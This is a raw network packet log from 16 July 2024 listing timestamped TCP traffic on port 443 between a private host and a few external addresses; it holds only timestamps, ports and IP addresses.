Jul 16, 2024 13:07:21.340079069 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.340094090 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.340260029 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.431103945 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.431133032 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.431200981 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.431230068 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.431258917 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.431281090 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.433769941 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.433789968 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.433847904 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.433864117 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.434113979 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.434786081 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.434804916 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.434859991 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.434874058 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.434947968 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.437139988 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.437160015 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.437217951 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.437232018 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.437288046 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.496125937 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.496437073 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:21.496469975 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.496977091 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.497433901 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:21.497524977 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.497705936 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:21.497761965 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.497795105 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:21.497831106 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.522676945 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.522711039 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.522753954 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.522779942 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.522804022 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.522835016 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.524069071 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.524089098 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.524178982 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.524178982 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.524194956 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.524384975 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.525777102 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.525795937 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.525854111 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.525866032 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.525890112 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.525945902 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.527914047 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.527932882 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.527967930 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.527981997 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.528007030 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.528024912 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.529694080 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.529711962 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.529786110 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.529799938 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.530142069 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.531634092 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.531653881 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.531737089 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.531750917 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.531805038 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.532850027 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.532867908 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.532912970 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.532927990 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.532952070 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.533085108 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.611309052 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.611330986 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.611381054 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.611404896 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.611429930 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.611449957 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.612561941 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.612582922 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.612624884 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.612654924 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.612682104 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.612708092 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.612976074 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.612993956 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613029957 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613042116 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613065958 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613085032 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613147974 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613168001 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613205910 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613218069 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613241911 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613331079 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613431931 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613451958 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613490105 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613502026 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613526106 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613543987 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613888025 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613912106 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613953114 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.613965988 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.613989115 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.614010096 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.614608049 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.614628077 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.614661932 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.614675999 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.614707947 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.614727974 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.615106106 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.615124941 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.615178108 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.615191936 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.615262032 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.676515102 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.676611900 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.676687002 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:21.677184105 CEST	49996	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:21.677194118 CEST	443	49996	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:21.702001095 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.702028990 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.702095985 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.702121973 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.702147961 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.702167034 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.702776909 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.702795982 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.702837944 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.702851057 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.702874899 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.702892065 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.703341007 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.703361034 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.703419924 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.703434944 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.703629017 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.704072952 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.704091072 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.704150915 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.704164982 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.704260111 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.704541922 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.704562902 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.704621077 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.704634905 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.704700947 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.705245018 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705266953 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705316067 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.705319881 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705336094 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705349922 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.705358028 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705374002 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.705388069 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705416918 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.705436945 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.705564022 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705583096 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705614090 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.705626011 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.705651999 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.705667973 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.794548988 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.794579983 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.794630051 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.794657946 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.794686079 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.794707060 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795506954 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795526981 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795569897 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795581102 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795593023 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795615911 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795628071 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795663118 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795675039 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795702934 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795731068 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795759916 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795773983 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795806885 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795851946 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795867920 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795886993 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795916080 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795928001 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.795950890 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.795967102 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.796339035 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.796360016 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.796420097 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.796433926 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.796520948 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.796710014 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.796729088 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.796767950 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.796781063 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.796804905 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.796823025 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.797074080 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.797094107 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.797157049 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.797171116 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.797214985 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.807974100 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.808228016 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.808238029 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.808765888 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.809091091 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.809170961 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.809298038 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.856504917 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885116100 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885153055 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885196924 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.885214090 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885246038 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.885263920 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.885551929 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885572910 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885617971 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.885629892 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885654926 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.885674953 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.885925055 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885945082 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.885981083 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.885993958 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886028051 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.886046886 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.886342049 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886358976 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886392117 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.886404037 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886431932 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.886451006 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.886734962 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886755943 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886806011 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886814117 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.886827946 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886876106 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.886876106 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.886895895 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886915922 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.886982918 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.887713909 CEST	49993	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.887747049 CEST	443	49993	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.893789053 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.893822908 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.894074917 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.894319057 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.894329071 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.929137945 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.929177999 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.929195881 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.929239035 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.929255009 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:21.929286003 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:21.929316998 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.024015903 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.024090052 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.024102926 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.024118900 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.024235964 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.024769068 CEST	49997	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.024791002 CEST	443	49997	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.032233000 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.032303095 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.032433987 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.032706976 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.032741070 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.036598921 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.036634922 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.036762953 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.037270069 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.037285089 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.051003933 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.051031113 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.051150084 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.051426888 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.051440954 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.528639078 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.529336929 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.529356956 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.529823065 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.530869007 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.530951977 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.531039000 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.572510004 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.574505091 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.892904997 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.893208981 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.893219948 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.893742085 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.894207954 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.894292116 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.894927979 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.894957066 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.895023108 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.895035028 CEST	50008	443	192.168.2.5	52.108.8.12
Jul 16, 2024 13:07:22.895056009 CEST	443	50008	52.108.8.12	192.168.2.5
Jul 16, 2024 13:07:22.896843910 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.897074938 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.897084951 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.897136927 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.897305012 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.897345066 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.897430897 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.897733927 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.897891998 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.897994995 CEST	443	50007	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.898145914 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.898252964 CEST	443	50006	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.898288965 CEST	50007	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.898380995 CEST	50006	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.898863077 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.898895025 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.898921967 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.898931026 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.898940086 CEST	50004	443	192.168.2.5	13.107.246.42
Jul 16, 2024 13:07:22.898946047 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.898956060 CEST	443	50004	13.107.246.42	192.168.2.5
Jul 16, 2024 13:07:22.899000883 CEST	50004	443	192.168.2.5	13.107.246.42
